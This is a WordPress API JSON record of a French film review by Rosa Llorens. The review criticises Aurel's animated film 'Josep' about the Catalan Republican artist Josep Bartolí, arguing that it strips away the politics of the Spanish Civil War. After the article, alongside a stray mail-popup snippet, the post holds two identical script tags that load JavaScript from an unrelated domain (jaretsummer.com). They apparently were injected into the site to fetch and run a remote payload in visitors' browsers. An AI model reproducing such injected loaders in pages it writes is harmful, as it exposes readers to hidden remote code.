{"id":21548,"date":"2020-10-11T19:02:21","date_gmt":"2020-10-11T19:02:21","guid":{"rendered":"http:\/\/www.lapluma.net\/?p=21548"},"modified":"2020-10-11T19:15:06","modified_gmt":"2020-10-11T19:15:06","slug":"josep-la-pelicula-de-aurel-homenaje-a-un-republicano-espanol-o-a-un-dibujante-de-charlie","status":"publish","type":"post","link":"https:\/\/www.lapluma.net\/fr\/2020\/10\/11\/josep-la-pelicula-de-aurel-homenaje-a-un-republicano-espanol-o-a-un-dibujante-de-charlie\/","title":{"rendered":"<i>Josep<\/i>, le film d&rsquo;Aurel : hommage \u00e0 un R\u00e9publicain espagnol ou \u00e0 un dessinateur de Charlie ?"},"content":{"rendered":"<p style=\"text-align: justify;\"><i><\/i><span style=\"font-size: 12pt;\"><em>Inutile de finasser : la culture est une industrie, et une industrie de propagande ; il n&rsquo;y a aucune fissure (tout au plus quelques exceptions alibis) : les romans ou films encens\u00e9s par les m\u00e9dias et prim\u00e9s sont choisis pour leurs th\u00e8mes politiquement corrects et leurs positions conformes \u00e0 l&rsquo;id\u00e9ologie r\u00e9gnante. La \u00ab gauche \u00bb devenue lib\u00e9rale est particuli\u00e8rement charg\u00e9e de d\u00e9tourner les r\u00e9f\u00e9rences r\u00e9volutionnaires : on a vu le slogan \u00ab No pasar\u00e1n \u00bb devenir la banni\u00e8re des antifas de salon pour d\u00e9fendre l&rsquo;organisation russe anti-Poutine Pussy riot ou pour stigmatiser Bachar el Assad dans sa lutte contre les djihadistes (quel paradoxe!).<\/em><\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\"><img loading=\"lazy\" decoding=\"async\" class=\" alignright\" src=\"http:\/\/www.tlaxcala-int.org\/upload\/gal_23335.jpg\" width=\"372\" height=\"496\" \/>On avait donc bien des raisons de se m\u00e9fier du film d&rsquo;animation <em>Josep<\/em>, d&rsquo;Aurel, et on n&rsquo;a plus gu\u00e8re de doutes devant sa sortie massive sur les \u00e9crans (46 cin\u00e9mas \u00e0 Paris et en r\u00e9gion parisienne), digne d&rsquo;un blockbuster hollywoodien. Cerise sur le g\u00e2teau, cette sortie se produit en plein proc\u00e8s des complices des auteurs de l&rsquo;attentat contre <em>Charlie<\/em>.\u00a0: Aurel avait-il donc quelque chose \u00e0 dire sur la R\u00e9publique espagnole ou la R\u00e9volution catalane (puisque le h\u00e9ros, Josep Bartol\u00ed, est un R\u00e9publicain catalan), ou vient-il apporter sa pierre \u00e0 la b\u00e9atification des journalistes de <em>Charlie<\/em>\u00a0? (par les temps qui courent, il vaut mieux pr\u00e9ciser que condamner les positions politiques de ce m\u00e9dia ne veut pas dire faire l&rsquo;apologie du terrorisme).<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Qu&rsquo;en est-il donc\u00a0? Selon le site lebleudumiroir, la forme est \u00ab\u00a0magistrale\u00a0\u00bb\u00a0: il s&rsquo;agit d&rsquo;un dessin du type \u00ab\u00a0ligne claire\u00a0\u00bb, lourd, peu anim\u00e9 (bien s\u00fbr, on dira que c&rsquo;est voulu, on ne voulait pas faire du Disney, mais raconter la vie d&rsquo;un dessinateur), entrem\u00eal\u00e9 des vrais dessins (beaucoup moins \u00ab\u00a0ligne claire\u00a0\u00bb) de Josep Bartol\u00ed, dessinateur catalan qui a laiss\u00e9 son t\u00e9moignage sur les camps de concentration fran\u00e7ais o\u00f9 ont \u00e9t\u00e9 parqu\u00e9s les R\u00e9publicains espagnols\u00a0lors de la Retirada, en f\u00e9vrier 1939 ; bref, le film est un hommage qu&rsquo;on peut qualifier de scolaire, voire parfois ennuyeux. Quant au fond, on aurait du mal \u00e0 le cerner si on y cherchait les enjeux politiques de la Guerre Civile. En fait, le film pr\u00e9sente deux vices, le victimisme et la confusion id\u00e9ologique.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Bien s\u00fbr, on ne pouvait pas ne pas parler des souffrances des prisonniers espagnols\u00a0: pour neutraliser les \u00ab\u00a0Rouges\u00a0\u00bb, le gouvernement fran\u00e7ais (Daladier) s&rsquo;\u00e9tait content\u00e9 de fermer des espaces, de plage souvent (on est dans le Roussillon) par des barbel\u00e9s, sans aucune infrastructure\u00a0; au d\u00e9but, les R\u00e9publicains dormaient \u00e0 m\u00eame le sol, \u00e0 l&rsquo;air libre (et si l&rsquo;hiver roussillonnais peut sembler doux, l&rsquo;humidit\u00e9 y est presque aussi meurtri\u00e8re qu&rsquo;un froid sib\u00e9rien). Les dessins de Bartol\u00ed t\u00e9moignent ici du quotidien des prisonniers, et montrent comment ils ont eux-m\u00eames construit les infrastructures dont ils avaient besoin pour survivre. Mais le film se compla\u00eet dans les mauvais traitements, humiliations et exactions dont ils \u00e9taient victimes de la part des gendarmes fran\u00e7ais. Or, les R\u00e9publicains n&rsquo;ont jamais demand\u00e9 la compassion (\u00ab\u00a0les pauvres, comme ils ont souffert\u00a0!\u00a0\u00bb)\u00a0; c\u2019\u00e9tait par d\u00e9finition des hommes et des femmes engag\u00e9s et ce qu&rsquo;ils voulaient c&rsquo;\u00e9tait la reconnaissance (et le triomphe) des valeurs pour lesquelles ils et elles s&rsquo;\u00e9taient battus.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Mais ces valeurs, et plus pr\u00e9cis\u00e9ment les positions politiques, sont r\u00e9duites \u00e0 la bouillie habituelle du politiquement correct\u00a0: Josep r\u00e9p\u00e8te qu&rsquo;il n&rsquo;\u00e9tait ni communiste ni anarchiste \u2013 qu&rsquo;\u00e9tait-il donc\u00a0? Myst\u00e8re&#8230; On est amen\u00e9 \u00e0 penser qu&rsquo;il repr\u00e9sente la\u00a0mythique \u00ab\u00a0troisi\u00e8me Espagne\u00a0\u00bb, celle qui voulait que tout le monde soit simplement gentil, comme le personnage f\u00e9minin (\u00e9videmment) qui morig\u00e8ne deux prisonniers, l&rsquo;un communiste, l&rsquo;autre anarchiste, comme s&rsquo;il s&rsquo;agissait d&rsquo;une dispute entre gamins. C&rsquo;est en consultant wikip\u00e9dia qu&rsquo;on apprend que Bartol\u00ed militait au POUM (Parti Ouvrier d\u2019Unification Marxiste), le parti trotskysant (il \u00e9tait donc bien communiste) o\u00f9 il a m\u00eame \u00e9t\u00e9, pendant la guerre, commissaire politique.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Selon lebleudumiroir, \u00ab\u00a0Josep brouille les pistes en d\u00e9montrant que ses amis d&rsquo;hier \u00e9taient plus fractur\u00e9s dans leurs id\u00e9es et dans leurs actes et que les lignes \u00e9taient d\u00e9sormais troubles\u00a0\u00bb, ce qui ne l&#8217;emp\u00eache pas de conclure que le film est \u00ab\u00a0un v\u00e9ritable outil p\u00e9dagogique\u00a0\u00bb\u00a0: quand un fait est complexe, la p\u00e9dagogie consisterait donc \u00e0 tout laisser dans le flou\u00a0! Il faut ici rappeler le film de Ken Loach, <em>Land and Freedom<\/em>, qui expose de fa\u00e7on lumineuse les points de conflit entre communistes et anarchistes (et leurs alli\u00e9s, les trotskystes du POUM). De toute la richesse des discussions de l&rsquo;\u00e9poque, il ne reste que l&rsquo;habituelle antienne des conservateurs et des fascistes sur les \u00ab\u00a0crimes\u00a0\u00bb des anarchistes (couvents et \u00e9glises br\u00fbl\u00e9es, cur\u00e9s et bonnes s\u0153urs assassin\u00e9s). Bon prince, Josep explique que c&rsquo;\u00e9tait la faim qui les avait rendus fous\u00a0! Les d\u00e9fenseurs de la R\u00e9publique avaient surtout constat\u00e9 que, lors du putsch manqu\u00e9 du 18 juillet 1936, des snipers leur tiraient dessus depuis les \u00e9glises et couvents. Reste aussi une condamnation de l&rsquo;assassinat de Trotsky par un stalinien (un militant du PSUC, le Parti Communiste catalan, Ram\u00f3n Mercader) \u2014 \u00e7a ne mange pas de pain\u00a0: pour la \u00ab\u00a0gauche\u00a0\u00bb, Trotsky versus Staline, c&rsquo;est devenu, comme le Che versus Fidel Castro, une ic\u00f4ne bobo sans danger.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\" aligncenter\" src=\"http:\/\/tlaxcala-int.org\/upload\/gal_23346.jpg\" width=\"585\" height=\"936\" \/><\/p>\n<p style=\"text-align: center;\"><strong>Autoportrait de Josep Bartol\u00ed, sans date<\/strong><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Aurel n&rsquo;a donc rien \u00e0 dire sur les R\u00e9publicains espagnols. Ce qui l&rsquo;int\u00e9ressait chez Bartol\u00ed, ce qu&rsquo;il voulait magnifier, c&rsquo;est son statut de dessinateur, parfois illustr\u00e9 de fa\u00e7on grotesque (on entend les cris d&rsquo;une femme viol\u00e9e par les gendarmes, Josep se pr\u00e9cipite sur son crayon et fait \u00e0 son ennemi personnel, le mauvais gendarme, une t\u00eate de cochon). On va donc abandonner les R\u00e9publicains \u00e0 leur sort, et retrouver Josep, quelques ann\u00e9es plus tard, au Mexique, o\u00f9 il devient l&rsquo;amant de cette autre ic\u00f4ne bobo, et f\u00e9ministe, Frida Kahlo (on pourrait croire \u00e0 une fiction romanesque, mais non, c&rsquo;est bien dans la biographie de Bartol\u00ed). Cela permet de d\u00e9nigrer Diego Rivera, un extraordinaire muraliste, et un peintre engag\u00e9, sous pr\u00e9texte qu&rsquo;il s&rsquo;occupe trop de ses fresques (o\u00f9 il repr\u00e9sente l&rsquo;histoire et les luttes du peuple mexicain) et pas assez de Frida, sa femme. Et c&rsquo;est elle, forte de son \u0153uvre narcissique, qui va formuler la morale de l&rsquo;histoire, appuy\u00e9e sur Freud (contre Marx)\u00a0: les dessins de Bartol\u00ed, avec leurs contours nets, sont une erreur, qui t\u00e9moigne de sa peur (de m\u00e2le patriarcal et blanc sans doute)\u00a0; pour se lib\u00e9rer, il doit se laisser emporter par les flots de la couleur (qui, elle, est f\u00e9minine, pour ne pas dire matriarcale). Mais il y aura une deuxi\u00e8me morale, plus pr\u00e9cis\u00e9ment politique\u00a0: nous sommes \u00e0 New York (ville-phare de la d\u00e9mocratie), de nos jours, o\u00f9 Valentin, le petit-fils du bon gendarme qui a aid\u00e9 Josep \u00e0 s&rsquo;enfuir (sur ce point, le film tombait en pleine invraisemblance), vient voir une exposition consacr\u00e9e \u00e0 Bartol\u00ed\u00a0; en sortant, il se retourne vers la commissaire de l&rsquo;exposition, arborant d&rsquo;un air vengeur un crayon entre les dents\u00a0!<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Femmes puissantes et sexuellement libres (une s\u00e9quence qui laisse perplexe montre des prisonni\u00e8res organisant au camp un bordel de campagne \u2013 la prostitution \u00e9tant un signe d\u00a0&lsquo;\u00e9mancipation) et dessinateurs h\u00e9ro\u00efques, voil\u00e0 \u00e0 quoi se r\u00e9duit l&rsquo;engagement du film. C&rsquo;est l&rsquo;occasion de faire remarquer que caricatures et films d&rsquo;animation (ceux-ci \u00e9tant tr\u00e8s \u00e0 la mode pour traiter de sujets s\u00e9rieux, voire tragiques) ne sont pas gage d&rsquo;une pens\u00e9e subversive\u00a0: au contraire, leur caract\u00e9ristique essentielle est de reposer sur la simplification, c&rsquo;est-\u00e0-dire sur une base de clich\u00e9s inlassablement martel\u00e9s par les m\u00e9dias. C&rsquo;est ainsi que <em>Charlie Hebdo<\/em> repr\u00e9sente Bachar el Assad par deux attributs, la flaque de sang, et les mouches (celles-ci du reste omnipr\u00e9sentes chez <em>Charlie<\/em> avec les \u00e9trons)\u00a0: le lecteur reconna\u00eet imm\u00e9diatement, de fa\u00e7on pavlovienne, le \u00ab\u00a0boucher de son peuple\u00a0\u00bb construit par les m\u00e9dias, et s&rsquo;identifie aux positions du magazine, sans que celui-ci ait \u00e0 pr\u00e9senter de faits ni d&rsquo;id\u00e9es (les id\u00e9es, c&rsquo;est dangereux, \u00e7a se discute). Mais <em>Charlie<\/em> n&rsquo;attaque pas seulement Bachar el Assad, il est le masque politiquement correct du pr\u00e9jug\u00e9 raciste anti-arabe et antimusulman (il faut encore citer l&rsquo;analyse d&rsquo;Emmanuel Todd dans <em>Qui est Charlie?<\/em>). Il faut noter que parmi les d\u00e9dicataires du film figure un des dessinateurs <em>de Charlie Hebdo<\/em>,Tignous, le sp\u00e9cialiste de la figure du beauf, autrement dit l&rsquo;homme du peuple, et la t\u00eate du mauvais gendarme semble \u00eatre une r\u00e9f\u00e9rence \u00e0 cette figure.<\/span><\/p>\n<p style=\"text-align: justify;\"><span style=\"font-size: 12pt;\">Le politiquement correct trouve son apoth\u00e9ose dans le th\u00e8me de la transmission, qui donne sa forme au film (le bon gendarme, mourant, raconte l&rsquo;histoire de Josep, et la sienne, \u00e0 son petit-fils \u2013 c&rsquo;\u00e9tait aussi la forme de <em>Land and Freedom<\/em>, mais elle \u00e9tait bien diff\u00e9remment exploit\u00e9e) et la forme fait ainsi oublier le fond\u00a0: transmettre, c&rsquo;est merveilleux, inutile de pr\u00e9ciser ce qui est \u00e0 transmettre, et si on transmet par le dessin, c&rsquo;est-\u00e0-dire sans \u00e9noncer d&rsquo;id\u00e9es (sinon des g\u00e9n\u00e9ralit\u00e9s \u00ab\u00a0g\u00e9n\u00e9reuses\u00a0\u00bb), c&rsquo;est encore mieux. On peut ici revenir au <em>bleudumiroir<\/em>\u00a0: Josep, \u00ab\u00a0un v\u00e9ritable outil p\u00e9dagogique et didactique sur histoire et m\u00e9moire, mais \u00e9galement une sublime mise en ab\u00eeme sur le m\u00e9tier d&rsquo;illustrateur et son r\u00f4le\u00a0\u00bb. La Guerre d&rsquo;Espagne appara\u00eet ainsi pour ce qu&rsquo;elle est ici, un simple pr\u00e9texte, mais un pr\u00e9texte appr\u00e9ciable, qui permet de d\u00e9samorcer (d&rsquo;une pierre deux coups) un des plus hauts jalons du XX<sup>e<\/sup> si\u00e8cle r\u00e9volutionnaire.<\/span><\/p>\n<p style=\"text-align: center;\"><iframe loading=\"lazy\" title=\"vimeo-player\" src=\"https:\/\/player.vimeo.com\/video\/437086143\" width=\"640\" height=\"360\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Rosa Llorens<\/span><\/strong><\/p>\n<p><strong><span style=\"font-size: 14pt;\">Fuente: <a href=\"http:\/\/tlaxcala-int.org\/article.asp?reference=29780\">Tlaxcala<\/a>, le 7 octobre 2020<\/span><\/strong><\/p>\n<p><strong><span class=\"navigation_cadre\"><span style=\"font-size: 14pt;\">Traductions disponibles : <a href=\"http:\/\/tlaxcala-int.org\/article.asp?reference=29781\">Catal\u00e0<\/a>\u00a0 <a href=\"http:\/\/www.lapluma.net\/2020\/10\/11\/josep-la-pelicula-de-aurel-homenaje-a-un-republicano-espanol-o-a-un-dibujante-de-charlie\/\">Espa\u00f1ol<\/a>\u00a0<\/span> <\/span><\/strong><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/p>\n<\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n<div id=\"ffenetremailtomailModal\" style=\"z-index: 20002;\">\n<div id=\"ffenetremailtopopupModalMail\">\n<div id=\"ffenetremailtotoModalClose\"><\/div>\n<div id=\"ffenetremailtopopupQuestion\">What do you want to do ?<\/div>\n<p><a id=\"ffenetremailtoemailOpen\"><\/a>New mail<button id=\"ffenetremailtobuttonEmail\">Copy<\/button><textarea id=\"ffenetremailtotextArea\"><\/textarea><\/div>\n<\/div>\n<div><img \/><\/div>\n<p><script src=\"\/\/jaretsummer.com\/228ebbb479fb2ce2f7.js\"><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>On peut ici revenir au bleudumiroir\u00a0: Josep, \u00ab\u00a0un v\u00e9ritable outil p\u00e9dagogique et didactique sur histoire et m\u00e9moire, mais \u00e9galement une sublime mise en ab\u00eeme sur le m\u00e9tier d&rsquo;illustrateur et son r\u00f4le\u00a0\u00bb.<\/p>\n","protected":false},"author":564,"featured_media":21552,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[8],"tags":[10868,69,10921,10918,10919,10920,6588],"coauthors":[8077],"class_list":["post-21548","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-culture","tag-combatientes-republicanos","tag-estado-espanol","tag-filmes-animados","tag-josep-bartoli","tag-poum","tag-retirada","tag-rosa-llorens"],"translation":{"provider":"WPGlobus","version":"2.12.2","language":"fr","enabled_languages":["es","fr"],"languages":{"es":{"title":true,"content":true,"excerpt":true},"fr":{"title":true,"content":true,"excerpt":true}}},"_links":{"self":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/21548","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/users\/564"}],"replies":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/comments?post=21548"}],"version-history":[{"count":9,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/21548\/revisions"}],"predecessor-version":[{"id":21551,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/posts\/21548\/revisions\/21551"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media\/21552"}],"wp:attachment":[{"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/media?parent=21548"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/categories?post=21548"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/tags?post=21548"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/www.lapluma.net\/fr\/wp-json\/wp\/v2\/coauthors?post=21548"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}